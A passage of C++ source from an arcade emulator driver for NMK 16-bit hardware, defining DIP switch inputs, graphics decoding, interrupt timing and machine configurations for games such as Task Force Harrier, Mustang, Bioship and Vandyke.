DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0400, 0x0400, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:6") PORT_DIPSETTING( 0x0400, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x1800, 0x1800, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW2:5,4") PORT_DIPSETTING( 0x0800, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x1800, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x1000, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coinage ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x0000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 3C_2C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 2C_3C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 1C_3C ) ) INPUT_PORTS_END /*************************************************************************** Twin Action ***************************************************************************/ static INPUT_PORTS_START( twinactn ) PORT_INCLUDE( afega_common ) PORT_MODIFY("IN0") // $080000.w PORT_SERVICE_NO_TOGGLE(0x0020, IP_ACTIVE_LOW ) // Test in service mode PORT_MODIFY("IN1") // $080002.w PORT_BIT( 0x0080, IP_ACTIVE_HIGH,IPT_UNKNOWN ) // Tested at boot PORT_BIT( 0x8000, IP_ACTIVE_HIGH,IPT_UNKNOWN ) // Tested at boot PORT_START("DSW1") // $080004.w PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x001c, 0x001c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x0010, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x001c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x000c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0014, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0004, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x00e0, 0x00e0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00c0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00e0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00a0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0200, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0c00, 0x0c00, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0c00, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0400, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0800, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x1000, 0x1000, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x1000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x2000, 0x2000, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x2000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0xc000, 0xc000, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x4000, "2" ) PORT_DIPSETTING( 0xc000, "3" ) PORT_DIPSETTING( 0x8000, "4" ) PORT_DIPSETTING( 0x0000, "5" ) INPUT_PORTS_END static INPUT_PORTS_START( dolmen ) PORT_INCLUDE( afega_common ) PORT_MODIFY("IN0") // $080000.w PORT_SERVICE_NO_TOGGLE(0x0020, IP_ACTIVE_LOW ) // Test in service mode PORT_MODIFY("IN1") // $080002.w PORT_BIT( 0x0080, IP_ACTIVE_LOW,IPT_UNKNOWN ) // Tested at boot PORT_BIT( 0x8000, IP_ACTIVE_LOW,IPT_UNKNOWN ) // Tested at boot PORT_START("DSW1") // $080004.w PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x000c, 0x000c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0008, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0004, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, "Free Credit" ) PORT_DIPLOCATION("SW1:2,1") // Not verified - From Bubble 2000 PORT_DIPSETTING( 0x0080, "500k" ) PORT_DIPSETTING( 0x00c0, "800k" ) PORT_DIPSETTING( 0x0040, "1000k" ) PORT_DIPSETTING( 0x0000, "1500k" ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0200, DEF_STR( On ) ) PORT_DIPNAME( 0x1c00, 0x1c00, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x1000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0800, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x1800, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c00, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0c00, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x1400, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0400, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, "Credits Don't Register" ) PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x8000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, "Credits Don't Register" ) INPUT_PORTS_END static GFXDECODE_START( gfx_tharrier ) GFXDECODE_ENTRY( "fgtile", 0, gfx_8x8x4_packed_msb, 0x000, 16 ) // color 0x000-0x0ff GFXDECODE_ENTRY( "bgtile", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x000, 16 ) // color 0x000-0x0ff GFXDECODE_ENTRY( "sprites", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x100, 16 ) // color 0x100-0x1ff GFXDECODE_END static GFXDECODE_START( gfx_macross ) GFXDECODE_ENTRY( "fgtile", 0, gfx_8x8x4_packed_msb, 0x200, 16 ) // color 0x200-0x2ff GFXDECODE_ENTRY( "bgtile", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x000, 16 ) // color 0x000-0x0ff GFXDECODE_ENTRY( "sprites", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x100, 16 ) // color 0x100-0x1ff GFXDECODE_END static GFXDECODE_START( gfx_macross2 ) GFXDECODE_ENTRY( "fgtile", 0, gfx_8x8x4_packed_msb, 0x300, 16 ) // color 0x300-0x3ff GFXDECODE_ENTRY( "bgtile", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x000, 16 ) // color 0x000-0x0ff GFXDECODE_ENTRY( "sprites", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x100, 32 ) // color 0x100-0x2ff GFXDECODE_END static GFXDECODE_START( gfx_bjtwin ) GFXDECODE_ENTRY( "fgtile", 0, gfx_8x8x4_packed_msb, 0x000, 16 ) // color 0x000-0x0ff GFXDECODE_ENTRY( "bgtile", 0, gfx_8x8x4_packed_msb, 0x000, 16 ) // color 0x000-0x0ff GFXDECODE_ENTRY( "sprites", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x100, 16 ) // color 0x100-0x1ff GFXDECODE_END static GFXDECODE_START( gfx_bioship ) GFXDECODE_ENTRY( "fgtile", 0, gfx_8x8x4_packed_msb, 0x300, 16 ) // color 0x300-0x3ff GFXDECODE_ENTRY( "bgtile", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x100, 16 ) // color 0x100-0x1ff GFXDECODE_ENTRY( "sprites", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x200, 16 ) // color 0x200-0x2ff GFXDECODE_ENTRY( "gfx4", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x000, 16 ) // color 0x000-0x0ff GFXDECODE_END static GFXDECODE_START( gfx_strahl ) GFXDECODE_ENTRY( "fgtile", 0, gfx_8x8x4_packed_msb, 0x000, 16 ) // color 0x000-0x0ff GFXDECODE_ENTRY( "bgtile", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x300, 16 ) // color 0x300-0x3ff GFXDECODE_ENTRY( "sprites", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x100, 16 ) // color 0x100-0x1ff GFXDECODE_ENTRY( "gfx4", 0, gfx_8x8x4_col_2x2_group_packed_msb, 0x200, 16 ) // color 0x200-0x2ff GFXDECODE_END /* ---- IRQ1 - Half-blanking interrupt IRQ2 - Display interrupt IRQ4 - V-blanking interrupt Timing: 17.8 msec |<---------------------------->| | 3.45 msec | 14.35 msec | |<--------->|<---------------->| | | | 8.9 msec | | | | |<-------->| | LV4 LV2 LV1 LV1 | DISPLAY |<->|<--->| | |256| 694 | | | us| usec| | | | DMA | | CPU is stopped during DMA */ // todo:total scanlines is 263, adjust according to that! // todo: replace with raw screen timings TIMER_DEVICE_CALLBACK_MEMBER(nmk16_state::nmk16_scanline) { const int NUM_SCANLINES = 256; const int IRQ1_SCANLINE = 25; // guess const int VBIN_SCANLINE = 0; const int VBOUT_SCANLINE = 240; const int SPRDMA_SCANLINE = 241; // 256 USEC after VBOUT int scanline = param; if (scanline == VBOUT_SCANLINE) // vblank-out irq { m_maincpu->set_input_line(4, HOLD_LINE); m_dma_timer->adjust(m_screen->time_until_pos(SPRDMA_SCANLINE)/*attotime::from_usec(256)*/); } /* Vblank-in irq, Vandyke definitely relies that irq fires at scanline ~0 instead of 112 (as per previous cpu_getiloops function implementation), mostly noticeable with sword collisions and related attract mode behaviour. */ if (scanline == VBIN_SCANLINE) m_maincpu->set_input_line(2, HOLD_LINE); // time from IRQ2 to first IRQ1 fire. is not stated, 25 is a guess if (scanline == IRQ1_SCANLINE) m_maincpu->set_input_line(1, HOLD_LINE); // 8.9ms from first IRQ1 to second IRQ1 fire. approx 128 lines (half frame time) if (scanline == IRQ1_SCANLINE+(NUM_SCANLINES/2)) // if this happens too late bioship sprites will glitch on the left edge m_maincpu->set_input_line(1, HOLD_LINE); } TIMER_CALLBACK_MEMBER(nmk16_state::dma_callback) { // 2 buffers confirmed on PCB, 1 on sabotenb memcpy(m_spriteram_old2.get(),m_spriteram_old.get(), 0x1000); memcpy(m_spriteram_old.get(), m_mainram + m_sprdma_base / 2, 0x1000); //m_maincpu->spin_until_time(attotime::from_usec(694)); // stop cpu during DMA? } void nmk16_state::set_hacky_interrupt_timing(machine_config &config) { TIMER(config, "scantimer").configure_scanline(FUNC(nmk16_state::nmk16_scanline), "screen", 0, 1); } void nmk16_state::set_hacky_screen_lowres(machine_config &config) { SCREEN(config, m_screen, SCREEN_TYPE_RASTER); //m_screen->set_raw(XTAL(12'000'000)/2, 384, 0, 256, 278, 16, 240); // confirmed m_screen->set_refresh_hz(56.18); m_screen->set_vblank_time(ATTOSECONDS_IN_USEC(3450)); m_screen->set_size(256, 256); m_screen->set_visarea(0*8, 32*8-1, 2*8, 30*8-1); m_screen->set_palette(m_palette); NMK_16BIT_SPRITE(config, m_spritegen, XTAL(12'000'000)/2); m_spritegen->set_screen_size(384, 256); m_spritegen->set_max_sprite_clock(384 * 263); // from hardware manual } void nmk16_state::set_hacky_screen_hires(machine_config &config) { SCREEN(config, m_screen, SCREEN_TYPE_RASTER); //m_screen->set_raw(XTAL(16'000'000)/2, 512, 0, 384, 278, 16, 240); // confirmed m_screen->set_refresh_hz(56.18); m_screen->set_vblank_time(ATTOSECONDS_IN_USEC(3450)); m_screen->set_size(512, 256); m_screen->set_visarea(0*8, 48*8-1, 2*8, 30*8-1); m_screen->set_palette(m_palette); NMK_16BIT_SPRITE(config, m_spritegen, XTAL(16'000'000)/2); m_spritegen->set_screen_size(384, 256); m_spritegen->set_max_sprite_clock(512 * 263); // not verified? m_spritegen->set_videoshift(64); } // OSC : 10MHz, 12MHz, 4MHz, 4.9152MHz void nmk16_state::tharrier(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(10'000'000)); // TMP68000P-12, 10 MHz m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::tharrier_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, XTAL(4'915'200)); // Z0840006PSC, 4.9152 MHz m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::tharrier_sound_map); m_audiocpu->set_addrmap(AS_IO, &nmk16_state::tharrier_sound_io_map); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_spritegen->set_ext_callback(FUNC(nmk16_state::get_sprite_flip)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_tharrier)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_tharrier); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 512); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); GENERIC_LATCH_8(config, "soundlatch2"); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000) / 8)); ymsnd.irq_handler().set_inputline("audiocpu", 0); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(4'000'000), okim6295_device::PIN7_LOW); m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(4'000'000), okim6295_device::PIN7_LOW); m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::mustang(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 10000000); // 10 MHz ? m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::mustang_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, 8000000); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", 1500000)); ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], 16000000/4, okim6295_device::PIN7_LOW); m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], 16000000/4, okim6295_device::PIN7_LOW); m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::mustangb(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 10000000); // 10 MHz ? m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::mustangb_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 14318180/4); m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::seibu_sound_map); m_audiocpu->set_irq_acknowledge_callback("seibu_sound", FUNC(seibu_sound_device::im0_vector_cb)); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); ym3812_device &ymsnd(YM3812(config, "ymsnd", 14318180/4)); ymsnd.irq_handler().set("seibu_sound", FUNC(seibu_sound_device::fm_irqhandler)); ymsnd.add_route(ALL_OUTPUTS, "mono", 1.0); OKIM6295(config, "oki", 1320000, okim6295_device::PIN7_LOW).add_route(ALL_OUTPUTS, "mono", 0.40); seibu_sound_device &seibu_sound(SEIBU_SOUND(config, "seibu_sound", 0)); seibu_sound.int_callback().set_inputline(m_audiocpu, 0); seibu_sound.set_rom_tag("audiocpu"); seibu_sound.set_rombank_tag("seibu_bank1"); seibu_sound.ym_read_callback().set("ymsnd", FUNC(ym3812_device::read)); seibu_sound.ym_write_callback().set("ymsnd", FUNC(ym3812_device::write)); } void nmk16_state::mustangb3(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 10000000); // 10 MHz ? m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::mustangb3_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 14318180/4); m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::tharrier_sound_map); m_audiocpu->set_addrmap(AS_IO, &nmk16_state::tharrier_sound_io_map); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) GENERIC_LATCH_8(config, m_soundlatch); GENERIC_LATCH_8(config, "soundlatch2"); // sound hardware SPEAKER(config, "mono").front_center(); ym2203_device &ymsnd(YM2203(config, "ymsnd", 1500000)); ymsnd.irq_handler().set_inputline("audiocpu", 0); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], 16000000/4, okim6295_device::PIN7_LOW); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], 16000000/4, okim6295_device::PIN7_LOW); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::bioship(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(10'000'000)); // 10.0 MHz (verified) m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::bioship_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_strahl)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_bioship); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,bioship) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, XTAL(8'000'000)); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000) / 8)); // 1.5 Mhz (verified) ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(8'000'000) / 2, okim6295_device::PIN7_LOW); // 4.0 Mhz, Pin 7 High (verified) m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(8'000'000) / 2, okim6295_device::PIN7_LOW); // 4.0 Mhz, Pin 7 High (verified) m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::vandyke(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(10'000'000)); // 68000p12 running at 10Mhz, verified on PCB m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::vandyke_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, 8000000); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000)/8)); // verified on PCB ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(12'000'000)/3, okim6295_device::PIN7_LOW); // verified on PCB m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(12'000'000)/3, okim6295_device::PIN7_LOW); // verified on PCB m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::vandykeb(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 10000000); // 10 MHz ? m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::vandykeb_map); set_hacky_interrupt_timing(config); PIC16C57(config, "mcu", 12000000).set_disable(); // 3MHz // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); OKIM6295(config, m_oki[0], 16000000/16, okim6295_device::PIN7_LOW); m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.20); } void nmk16_state::acrobatm(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(10'000'000)); // 10 MHz (verified on PCB) m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::acrobatm_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RGBx_444, 768); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, XTAL(16'000'000)/2); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000)/8)); // verified on PCB ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(16'000'000)/4, okim6295_device::PIN7_LOW); // (verified on PCB) on the PCB pin7 is not connected to gnd or +5v! m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(16'000'000)/4, okim6295_device::PIN7_LOW); // (verified on PCB) on the PCB pin7 is not connected to gnd or +5v! m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::tdragonb(machine_config &config) // bootleg using Raiden sound hardware { // basic machine hardware M68000(config, m_maincpu, 10000000); m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::tdragonb_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 14318180/4); m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::seibu_sound_map); m_audiocpu->set_irq_acknowledge_callback("seibu_sound", FUNC(seibu_sound_device::im0_vector_cb)); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); ym3812_device &ymsnd(YM3812(config, "ymsnd", 14318180/4)); ymsnd.irq_handler().set("seibu_sound", FUNC(seibu_sound_device::fm_irqhandler)); ymsnd.add_route(ALL_OUTPUTS, "mono", 1.0); OKIM6295(config, "oki", 1320000, okim6295_device::PIN7_LOW).add_route(ALL_OUTPUTS, "mono", 0.40); seibu_sound_device &seibu_sound(SEIBU_SOUND(config, "seibu_sound", 0)); 